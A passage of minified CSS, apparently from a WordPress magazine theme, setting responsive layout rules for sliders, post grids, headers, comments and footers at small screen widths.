solid transparent}.featured-style-19 .wrapper-item .penci-item-0,.featured-style-19 .wrapper-item .penci-item-2{border-left:2px solid transparent}.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a{font-size:14px;text-transform:none;letter-spacing:0}.featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a{font-size:14px;text-transform:none;letter-spacing:0}.featured-style-20 .wrapper-item .penci-item-mag,.featured-style-21 .wrapper-item .penci-item-mag{width:50%}.featured-style-20 .wrapper-item .penci-item-1,.featured-style-21 .wrapper-item .penci-item-1{width:100%;border-bottom:4px solid transparent}.featured-style-20 .wrapper-item .penci-item-3{border-bottom:4px solid transparent}.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a,.featured-style-27 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-27 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-27 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-27 .penci-item-4 .penci-mag-featured-content h3 a{font-size:14px;text-transform:none;letter-spacing:0}.featured-style-24 .penci-item-0 .penci-image-holder:before,.featured-style-24 .penci-item-1 .penci-image-holder:before,.featured-style-24 .penci-item-2 .penci-image-holder:before,.featured-style-24 .penci-item-3 .penci-image-holder:before,.featured-style-25 .penci-item-0 .penci-image-holder:before,.featured-style-25 .penci-item-1 .penci-image-holder:before,.featured-style-25 .penci-item-2 .penci-image-holder:before,.featured-style-25 .penci-item-3 .penci-image-holder:before,.featured-style-27 .penci-item-0 .penci-image-holder:before,.featured-style-27 .penci-item-2 .penci-image-holder:before,.featured-style-27 .penci-item-3 .penci-image-holder:before,.featured-style-27 .penci-item-4 .penci-image-holder:before{height:150px}.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-28 .wrapper-item .penci-item-1{width:480px}.featured-style-28 .penci-item-1 .penci-image-holder:before{height:404px;padding:0}.featured-style-28 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-29 .penci-featured-content .feat-text h3 a{font-size:24px}.featured-style-29.style-30 .penci-featured-content .feat-text h3 a{font-size:20px}.featured-style-29.style-30 .penci-featured-content{padding:0 15px}.featured-style-29 .penci-image-holder:before,.featured-style-29.style-30 .penci-image-holder:before{height:400px}.pencislider-container .pencislider-content .pencislider-title{font-size:24px}.pencislider-container .pencislider-content .pencislider-caption span,.pencislider-container .pencislider-content .pencislider-title span{padding:2px 10px}.pencislider-container .pencislider-content .pencislider-button{padding:9px 15px 9px;font-size:12px}.penci-home-popular-posts{padding:30px 0 0 0;border:none}.penci-video-overlay{left:10px;right:10px}.penci-video-custom-img{-webkit-animation-delay:.1s;-moz-animation-delay:.1s;-o-animation-delay:.1s;animation-delay:.1s}h2.penci-heading-video{font-size:18px;-webkit-animation-delay:.3s;-moz-animation-delay:.3s;-o-animation-delay:.3s;animation-delay:.3s}p.penci-sub-heading-video{font-size:12px;-webkit-animation-delay:.5s;-moz-animation-delay:.5s;-o-animation-delay:.5s;animation-delay:.5s}.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-2-columns li,.post-entry ul.homepage-featured-boxes li,ul.homepage-featured-boxes li{width:100%!important;margin-bottom:20px}.grid-mixed,.grid-mixed>article{display:block}#logo img{max-width:100%;height:auto}.archive-box h1,.archive-box span,.post-header h1,.post-header h1 a,.post-header h2 a{font-size:18px}.standard-content .standard-share-box{display:none}.standard-main-content.has-padding{padding-left:0}.standard-main-content.classic-main-content.has-padding,.standard-main-content.has-padding{min-height:0}.post-image.audio iframe,.standard-post-image.audio iframe{height:120px;width:100%}.thecomment .author-img{display:none}.thecomment .comment-text{margin-left:0}#respond p.comment-form-author,#respond p.comment-form-email,#respond p.comment-form-url,.wpcf7 p.email,.wpcf7 p.name,.wpcf7 p.subject{width:100%;margin:0}.featured-carousel .featured-content,.featured-carousel.style-2 .featured-content{top:34%}.featured-carousel>button.slick-next,.featured-carousel>button.slick-prev{right:10px}.featured-carousel>button.slick-prev,.penci-slider .penci-direction-nav .penci-prev{left:10px}.featured-carousel .featured-content{width:340px}.featured-carousel .featured-content .feat-text{padding:20px 10px!important}.error-404 .heading-text-404,.header-classic>h2,.standard-main-content>h2{font-size:24px;padding:0}.penci-slider.penci-loading{min-height:250px}.penci-slider ul.slides li .pencislider-container{padding:0 65px}.penci-slider .pencislider-container .pencislider-content .pencislider-title{font-size:18px}.penci-slider .pencislider-container .pencislider-content .pencislider-caption{font-size:13px}.penci-slider .pencislider-container .pencislider-content .penci-button{margin:20px 0 0}.penci-slider .pencislider-container .pencislider-content .pencislider-button{padding:8px 20px;font-size:12px}.penci-slider .pencislider-container .pencislider-content .pencislider-button:before{content:none;display:none}.header-classic>h2 a:after,.header-classic>h2 a:before,.post-header h1 span:after,.post-header h1 span:before,.post-header h2 span:after,.post-header h2 span:before,.standard-main-content>h2:before{content:none!important}.container.penci_sidebar .penci-grid>li{width:100%!important;margin:0 0 40px!important}.container.penci_sidebar .penci-grid[data-mcols="2"]>li,.penci-grid[data-mcols="2"]>li{width:calc((100% - var(--pcrgap))/ 2)!important;margin-bottom:20px}.post-header h1 span,.post-header h2 span{padding:0}.penci-portfolio-filter ul{display:block}.inner-portfolio-posts .portfolio-item,.penci-post-gallery-container.masonry .item-gallery-masonry{width:100%!important}.post-entry .penci-portfolio-filter ul li{float:none}.penci-portfolio-filter ul li,.post-entry .penci-portfolio-filter ul li{margin:0 10px 5px}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail,.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb,.penci-grid .list-post.list-boxed-post .item .content-list-right,.penci-grid .list-post.list-boxed-post .item>.thumbnail,.penci-grid li.list-post .item>.thumbnail{width:100%!important;display:block;height:auto;min-height:0;float:none;max-width:100%}.penci-grid .list-post.list-boxed-post .item>.thumbnail:before{content:none;display:none}.penci-grid li{width:100%!important;margin-right:0!important;float:none}.container.penci_sidebar .penci-masonry .item-masonry{width:100%;float:none;position:static!important;margin-bottom:30px}.penci-grid li.list-post .item .content-list-right,.penci-grid li.pclist-layout.pc-has-thumb.pc-list-imgright .item .content-list-right{padding:0;width:100%!important;float:none}.penci-grid .list-post.list-boxed-post .item .content-list-right{padding:30px}.penci-grid li.list-post .item>.thumbnail{margin-bottom:30px}.penci-grid .list-post.list-boxed-post .item>.thumbnail{margin-bottom:0}.penci-grid li .item>.thumbnail,.penci-masonry .item-masonry>.thumbnail{width:100%}.penci-masonry .item-masonry{width:100%!important}.penci-grid li.list-post.penci-slistp .item>.thumbnail{width:120px!important}.pencisc-grid-mobile-6 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-6 .penci-masonry .item-masonry{width:16.6666667%!important}.pencisc-grid-mobile-5 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-5 .penci-masonry .item-masonry{width:20%!important}.pencisc-grid-mobile-4 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-4 .penci-masonry .item-masonry{width:25%!important}.pencisc-grid-mobile-3 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-3 .penci-masonry .item-masonry{width:33.3333%!important}.pencisc-grid-mobile-2 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-2 .penci-masonry .item-masonry{width:50%!important}.pencisc-grid-mobile-1 .home-featured-cat-content .mag-photo,.pencisc-grid-mobile-1 .penci-masonry .item-masonry{width:100%!important}.container.penci_sidebar .penci-masonry[data-mcols="2"] .item-masonry,.penci-masonry[data-mcols="2"] .item-masonry{width:50%!important;float:left!important}.penci-featured-cat-ctcol.pencisc-grid-mobile-2 .home-featured-cat-content .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-mobile-3 .home-featured-cat-content .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-mobile-4 .home-featured-cat-content .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-mobile-5 .home-featured-cat-content .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-mobile-6 .home-featured-cat-content .mag-photo{width:100%!important}.list-boxed-post .inner-content-list-right{display:block}.penci-photo-2-effect figcaption h2,.penci_sidebar .penci-photo-2-effect figcaption h2{font-size:22px}.home-featured-cat-content .mag-photo{width:100%;margin-bottom:15px}.home-featured-cat-content.style-1{margin-left:0;margin-right:0;width:100%}.home-featured-cat-content .cat-left,.home-featured-cat-content .cat-right{width:100%;float:none}.home-featured-cat-content.style-1 .cat-left,.home-featured-cat-content.style-1 .cat-right{padding:0}.home-featured-cat-content .cat-left{margin-bottom:30px}.home-featured-cat.mag-cat-style-2{width:100%;margin:0 0 20px 0;float:none}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{padding:0}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb{margin-bottom:24px}.home-featured-cat-content.style-6 .cat-right .mag-post-box{margin-right:0;width:100%;float:none;display:table;padding-bottom:15px;border-bottom:1px solid #dedede;margin-bottom:15px}.home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child{border:none}.home-featured-cat-content.style-10 .mag-post-box,.home-featured-cat-content.style-9 .mag-post-box{width:100%;float:none;margin-right:0}.content-special-list{padding:15px}.format-post-box .post-format-icon{top:10px;margin-left:-35px;display:none}.format-post-box .post-format-icon i{font-size:24px}.format-post-box .dt-special,.format-post-box .dt-special a,.format-post-box.penci-format-quote .dt-special{font-size:16px;line-height:1.7}.author-quote span{font-size:13px}.under-construction-page .under-title{font-size:23px}.penci-countdown .countdown-section{margin:0 5px}.penci-countdown .countdown-amount{font-size:30px}.penci-countdown .countdown-period{font-size:13px;margin:15px 0 0}.post-entry h1{font-size:24px}.post-entry h2{font-size:22px}.post-entry h3{font-size:20px}.post-entry h4{font-size:18px}.post-entry h5{font-size:16px}.post-entry h6{font-size:15px}.elementor-widget-text-editor h1{font-size:24px}.elementor-widget-text-editor h2{font-size:22px}.elementor-widget-text-editor h3{font-size:20px}.elementor-widget-text-editor h4{font-size:18px}.elementor-widget-text-editor h5{font-size:16px}.elementor-widget-text-editor h6{font-size:15px}.penci-post-gallery-container.masonry .item-gallery-masonry a{opacity:1;-webkit-animation-delay:0s!important;-moz-animation-delay:0s!important;-o-animation-delay:0s!important;animation-delay:0s!important;-webkit-animation-name:none!important;-moz-animation-name:none!important;-o-animation-name:none!important;animation-name:none!important}ul.footer-socials li{margin-right:20px}.header-standard .post-title,.header-standard h2,.header-standard h2 a,.pc_titlebig_standard,.pc_titlebig_standard a,.penci-header-signup-form h4.header-signup-form,.penci-page-header h1{font-size:20px}.tags-share-box{padding:20px 0}.post-share{position:static;margin-top:15px;clear:both;display:block}.post-share.tags-share-box-top{margin-top:0}.penci-overlay-over .overlay-header-box{padding:0;left:10px;right:10px}.overlay-header-box .cat,.overlay-header-box .overlay-author{display:none}.overlay-header-box .overlay-title a{font-size:18px}.penci-overlay-over .overlay-header-box:after{content:none;display:none}.overlay-post-box-meta{position:static;padding:20px 0 0}.penci-single-mag-slider .magcat-detail .magcat-titlte{font-size:20px}.home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta{margin-top:7px}.post-pagination .next-post,.post-pagination .prev-post{float:none;width:100%;display:table}.post-pagination .prev-post{margin-bottom:15px}.footer-subscribe h4.footer-subscribe-title{font-size:28px}.footer-subscribe .mc4wp-form{width:480px}.footer-subscribe .mc4wp-form .mdes{margin-left:0;width:100%;font-size:16px}.footer-subscribe .mc4wp-form .memail{width:328px}.footer-social-remove-circle ul.footer-socials li a i{font-size:16px}.post-pagination.pcpagp-style-3{display:block}.post-pagination.pcpagp-style-3 .next-post{padding-left:0}.penci-post-nav-thumb.nav-thumb-next{margin:0}.post-pagination.pcpagp-style-5 .next-post-inner,.post-pagination.pcpagp-style-5 .prev-post-inner{margin:-60px 10px 0 10px;padding:15px 10px 10px 10px}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote){padding-left:0;padding-right:0}.post-pagination.pcpagp-style-3 .next-post,.post-pagination.pcpagp-style-3 .prev-post,.post-pagination.pcpagp-style-5 .next-post,.post-pagination.pcpagp-style-5 .prev-post{width:100%}.e-parent.e-con.e-flex{--flex-wrap:nowrap}.comments.pc-cms-style-2 .thecomment .author-img,.comments.pc-cms-style-3 .thecomment .author-img{display:block;margin-right:10px;width:30px}.comments.pc-cms-style-2 .comment-text{margin-left:40px}.comments.pc-cms-style-2 .thecomment .comment-text:before{top:15px}.pcrstb-wrap{width:100%;overflow:auto}}@media only screen and (min-width:480px) and (max-width:767px){body{--pcctain:480px}.container,.container.two-sidebar.two-sidebar,.featured-area.magazine-slider,.featured-area.style-1,.featured-area.style-4,.featured-carousel.style-2 .item img{width:var(--pcctain)}.wrapper-boxed.enable-boxed,.wrapper-boxed.enable-boxed .is-sticky #navigation{max-width:520px}.featured-area .featured-carousel,.featured-area .featured-carousel.style-2,.penci-slick-slider{max-height:280px}.featured-area.style-4,.featured-area.style-5,.penci-magazine-slider.penci-loading{min-height:280px}#logo img{max-width:100%;height:auto}.standard-content-special,.standard-post-image .audio-iframe{left:15px;right:15px;bottom:15px}.post-image.audio iframe{width:100%;height:auto}.penci-countdown .countdown-section{margin:0 15px}.penci-countdown .countdown-amount{font-size:40px}.penci-countdown .countdown-period{font-size:16px;margin:20px 0 0}}@media only screen and (max-width:479px){#footer-section>.container,#widget-area>.container,.penci-page-header-wrap .penci-page-header-inner.container,.penci-post-image-wrapper>.container,.penci-single-smore .container,.penci-two-sidebar .container.penci-breadcrumb,.wrapper-boxed>.container,.wrapper-boxed>.penci-single-wrapper>.penci-single-block>.container,â€‹.penci-page-header-wrap{padding-left:20px;padding-right:20px}.penci-single-smore .container .container,.wrapper-boxed>.container>.container{padding-left:0;padding-right:0}#header .inner-header{height:auto}.penci-single-smore .container .container{padding-left:0;padding-right:0}.penci-header-signup-form{padding-left:10px;padding-right:10px}.penci-single-style-10 .header-standard,.penci-single-style-10 .post-box-meta-single,.penci-single-style-13 .header-standard,.penci-single-style-13 .post-box-meta-single{text-align:center}.feat-text-right{width:330px;margin-left:-165px}.penci-google-adsense-single-s10{width:100%}#navigation,.inner-header{padding-left:10px;padding-right:10px}.header-slogan .header-slogan-text{font-size:12px;padding:0 10px}#navigation.header-6 .pcheader-icon{margin-left:5px}#navigation.header-6 #logo img{max-width:300px}.featured-carousel .featured-content{width:250px}.featured-carousel .featured-content .feat-text h3 a,.featured-style-35 .feat-text-right h3 a{font-size:16px}.featured-carousel .carousel-meta{display:none}.penci-image-holder.slider-style-1-fix{height:180px}.penci-image-holder.slider-style-2-fix{width:300px}.penci-image-holder.slider-style-3-fix{height:180px}.penci-magazine-slider .mag-item-1 .mag-meta h3 a,.penci-magazine-slider .mag-meta h3 a{font-size:14px}.penci-magazine-slider .mag-item-1 .mag-meta{padding:15px}.featured-style-2 .penci-owl-carousel .swiper-slide,.featured-style-38 .penci-owl-carousel .swiper-slide{width:360px}.featured-style-38 .penci-featured-content .feat-text h3 a{font-size:18px}.penci-magazine-slider .penci-direction-nav a.penci-prev,.penci-owl-carousel .penci-owl-nav .owl-prev{left:10px}.penci-magazine-slider .penci-direction-nav a.penci-next,.penci-owl-carousel .penci-owl-nav .owl-next{right:10px}.penci-magazine-slider ul.mag-wrap li .mag-content{width:100%!important;border:none!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content{margin-bottom:5px!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2{margin:0!important;border:none!important}.featured-carousel.style-7 .featured-content{bottom:5px}.featured-carousel.style-7 .featured-content .feat-text h3 a{padding:0}.featured-style-37 .penci-owl-carousel .penci-owl-dots{display:none}.featured-style-37 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content{bottom:16px}.standard-content-special,.standard-post-image .audio-iframe{left:10px;right:10px;bottom:10px}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before{top:10px;left:10px;bottom:10px;right:10px}.grid-overlay-meta .grid-header-box{margin-left:10px;margin-right:10px}.footer-widget-wrapper .quote-widget>p{padding-left:35px}#penci-login-popup{padding:30px}.penci-lgpop-title{font-size:22px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,.widget ul.side-newsfeed li .side-item .side-image img{width:100px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,.widget ul.side-newsfeed li .side-item .side-item-text h4 a{font-size:15px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta{font-size:13px}.post-box-meta span.author-post{display:none}.standard-post-special.penci-special-format-quote .standard-content-special{position:relative;left:auto;right:auto;bottom:auto;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;border:1px solid #dedede;border-top:none}.format-post-box{padding-left:20px;padding-right:20px;padding-top:20px}.format-post-box.penci-format-link{padding:15px}.format-post-box .dt-special a{font-size:14px}.post-entry blockquote{padding:0 0 0 40px}.post-entry blockquote:before{font-size:30px}.post-entry blockquote,.post-entry blockquote p{font-size:15px}.post-author .author-content{margin:0}.author-img{margin-right:20px}.author-img img{width:80px;height:auto;margin:0}.author-content h5,.author-content h5 a,.item-related h3 a,.post-box-title,.thecomment .comment-text span.author,.thecomment .comment-text span.author a{font-size:18px}.penci-magazine-slider .penci-direction-nav a,.penci-slick-slider>button.slick-next,.penci-slick-slider>button.slick-prev{width:32px;height:32px;line-height:32px;margin-top:-16px;font-size:15px}.penci-slick-slider>button.slick-next{right:10px}.penci-slick-slider>button.slick-prev{left:10px}.penci-slick-slider>button.slick-next i,.penci-slick-slider>button.slick-prev i{line-height:32px;font-size:15px}.featured-carousel>button.slick-next,.featured-carousel>button.slick-prev{display:none!important}.featured-carousel .featured-content{width:240px;top:37%}.featured-carousel .featured-cat a{padding:2px 10px 1px}.featured-carousel.style-2 .featured-content{top:37%}.featured-carousel .featured-content .feat-text{padding:15px 10px!important}.error-404 .heading-text-404,.header-classic>h2,.standard-main-content>h2{font-size:20px}.penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,.penci_sidebar .penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,.portfolio-overlay-content .portfolio-short{margin-top:17.5%}.featured-carousel .featured-cat{margin-bottom:5px}.featured-carousel .featured-content .feat-text h3 a,.wrapper-boxed.enable-boxed .featured-carousel .featured-content .feat-text h3 a{font-size:14px}.penci-slider.penci-loading{min-height:160px}.penci-slider ul.slides li .pencislider-container{padding:0 20px}.penci-slider .pencislider-container .pencislider-content .pencislider-title{font-size:14px}.penci-slider .pencislider-container .pencislider-content .pencislider-caption{font-size:12px;margin:3px 0 0}.penci-slider .pencislider-container .pencislider-content .penci-button{margin:14px 0 0}.penci-slider .pencislider-container .pencislider-content .pencislider-button{padding:5px 10px;font-size:10px}.penci-slider .penci-direction-nav .penci-next,.penci-slider .penci-direction-nav .penci-prev{display:none!important}.penci-grid .list-post.list-boxed-post .item .content-list-right{padding:30px 15px!important;clear:both}.penci-featured-content .feat-text{width:100%}.featured-style-4 .penci-featured-content .feat-text h3 a,.featured-style-5 .penci-featured-content .feat-text h3 a{font-size:16px}.penci-featured-infor .penci-entry-title{font-size:18px}.featured-style-13 .penci-mag-featured-content h3 a,.featured-style-18 .penci-mag-featured-content h3 a,.penci-mag-featured-content h3 a{font-size:12px}.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-15 .penci-mag-featured-content h3 a,.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-1 .penci-owl-carousel .penci-image-holder:before{padding-top:50%}.penci-photo-2-effect figcaption h2,.penci_sidebar .penci-photo-2-effect figcaption h2{font-size:14px}.featured-style-13 .penci-image-holder:before,.featured-style-14 .penci-image-holder:before{height:200px}.featured-style-17 .penci-image-holder:before,.featured-style-18 .penci-image-holder:before{height:140px}.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before{height:220px}.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-19 .penci-mag-featured-content h3 a{font-size:13px}.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-22 .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content{padding:0 5px;bottom:10px}.featured-style-22.penci-flat-overlay .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-22.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-1 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,.featured-style-23.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content{padding:12px 5px;bottom:0}.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-26 .penci-item-1 .penci-image-holder:before{height:220px}.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-28 .wrapper-item .penci-item-1{width:300px}.featured-style-28 .penci-item-1 .penci-image-holder:before{height:404px;padding:0}.featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-29 .penci-featured-content,.featured-style-30 .penci-featured-content{padding:0 15px}.featured-style-29 .penci-featured-content .feat-text h3 a,.featured-style-30 .penci-featured-content .feat-text h3 a{font-size:18px}.featured-style-29 .penci-image-holder:before,.featured-style-30 .penci-image-holder:before{height:300px}.featured-style-29 .penci-featured-slider-button a,.featured-style-30 .penci-featured-slider-button a{height:30px;line-height:26px;padding:0 10px;font-size:11px}.featured-style-31 .penci-image-holder,.featured-style-32 .penci-image-holder{height:400px!important}.pencislider-container .pencislider-content .pencislider-title{font-size:20px}.pencislider-container .pencislider-content .pencislider-caption{font-size:14px}.pencislider-container .pencislider-content .pencislider-button{padding:8px 15px 8px;font-size:12px}.container .penci-grid li.typography-style .grid-post-box-meta{display:none}.grid-mixed .mixed-detail{padding:30px 15px}.grid-mixed .mixed-detail h2 a{font-size:16px}.typography-style .content-typography{left:10px;right:10px;top:10px;bottom:10px}.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2,.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{min-height:200px;height:auto;padding:30px 15px}.error-404 .sub-heading-text-404{font-size:13px}.penci-post-box-meta,.penci-post-box-meta.post-box-boxed-1{text-align:center}.penci-post-box-meta .penci-post-share-box{display:block;float:none;margin-top:15px}.penci-post-box-meta .penci-box-meta i{display:none}.penci-more-link a.more-link{font-size:12px;padding:5px 0}.widget .tagcloud a{font-size:10px!important;padding:4px 10px 3px;margin-right:4px;margin-bottom:8px}.header-standard .post-title,.header-standard h2,.header-standard h2 a,.pc_titlebig_standard,.pc_titlebig_standard a,.penci-header-signup-form h4.header-signup-form,.penci-page-header h1{font-size:18px}.cat>a.penci-cat-name,.penci-grid li .item .cat a,.penci-masonry .item-masonry .cat a{font-size:11px}.home-featured-cat-content .mag-photo .magcat-detail{padding:15px;width:100%}.home-featured-cat-content .mag-photo .magcat-detail h3 a{font-size:16px;letter-spacing:0}.home-featured-cat-content .magcat-detail .mag-meta{margin-top:5px}.home-featured-cat-content .mag-photo .grid-post-box-meta span,.home-featured-cat-content .mag-photo .grid-post-box-meta span a{font-size:12px}.home-featured-cat-content .magcat-detail h3 a{font-size:15px;line-height:1.3}.home-featured-cat-content .magcat-detail .mag-meta span{font-size:13px}.post-box-meta-single span{margin-top:3px}.penci-pagination .disable-url,.penci-pagination a{font-size:11px}.penci-pagination a i{font-size:12px}ul.slick-dots li button{margin:0 3px}.home-pupular-posts-title{font-size:16px}#footer-copyright *{font-size:12px}.penci_facebook_widget .fb_iframe_widget{display:block;margin-left:auto;margin-right:auto}.penci-rlt-popup{width:240px}.penci-rlt-popup .rtlpopup-heading{padding-left:12px;font-size:14px}.penci-rlt-popup .rltpopup-item{padding-bottom:12px;margin-bottom:12px}.penci-rlt-popup .penci-rtlpopup-content{padding:12px}.penci-rlt-popup .rltpopup-thumbnail{margin-right:12px;width:80px}.penci-rlt-popup .penci-close-rltpopup{right:2px}.penci-rlt-popup .rltpopup-meta .rltpopup-title{font-size:13px}.penci-rlt-popup .rltpopup-meta .date{font-size:12px}a img.alignleft,a img.alignnone,a img.alignright{margin:0 auto 30px auto;float:none;display:block}.video-align-left,.video-align-right{margin-left:0;margin-right:0;float:none}.elementor-widget-text-editor ol,.elementor-widget-text-editor ul,.post-entry ol,.post-entry ul,.woocommerce .page-description ol,.woocommerce .page-description ul{padding-left:25px}.archive-box h1,.archive-box span,.author-content h5,.author-content h5 a,.item-related h3 a,.post-box-title,.thecomment .comment-text span.author,.thecomment .comment-text span.author a{font-size:16px}.post-header h1{font-size:16px}.page .post-header h1{font-size:20px}.post-tags{display:block}.post-share{display:block;float:none;margin-top:8px}.post-share .share-title{display:inline-block}.post-pagination .next-post,.post-pagination .prev-post{width:100%;float:none;text-align:center}.post-pagination h5,.post-pagination h5.next-title{padding:0!important}.post-pagination .prev-post{margin-bottom:15px}.post-pagination.pcpagp-style-1 .penci-post-nav-thumb,.post-pagination.pcpagp-style-2 .penci-post-nav-thumb{display:none!important}.penci-related-grid-display .item-related{width:100%;float:none}.comments ul.children{margin:0 0 0 35px}#sidebar-nav{width:var(--pcsnav-w);transform:translateX(calc(var(--pcsnav-w) * -1));-webkit-transform:translateX(calc(var(--pcsnav-w) * -1));-moz-transform:translateX(calc(var(--pcsnav-w) * -1))}.open-sidebar-nav #close-sidebar-nav{left:var(--pcsnav-w)}.open-sidebar-nav #sidebar-nav{left:var(--pcsnav-w)}.penci-pagination ul.page-numbers li{margin-right:5px}.penci-pagination ul.page-numbers li a,.penci-pagination ul.page-numbers li span{width:25px}ul.footer-socials li{margin-right:10px}ul.footer-socials li a{line-height:32px}ul.footer-socials li a i{width:32px;height:32px;line-height:32px;font-size:14px}#footer-logo a{max-width:280px}#footer-logo img{max-width:100%}.footer-instagram h4.footer-instagram-title span{padding:0 20px;font-size:14px}.comments .children,.comments>.comment>.comment{margin:0 0 0 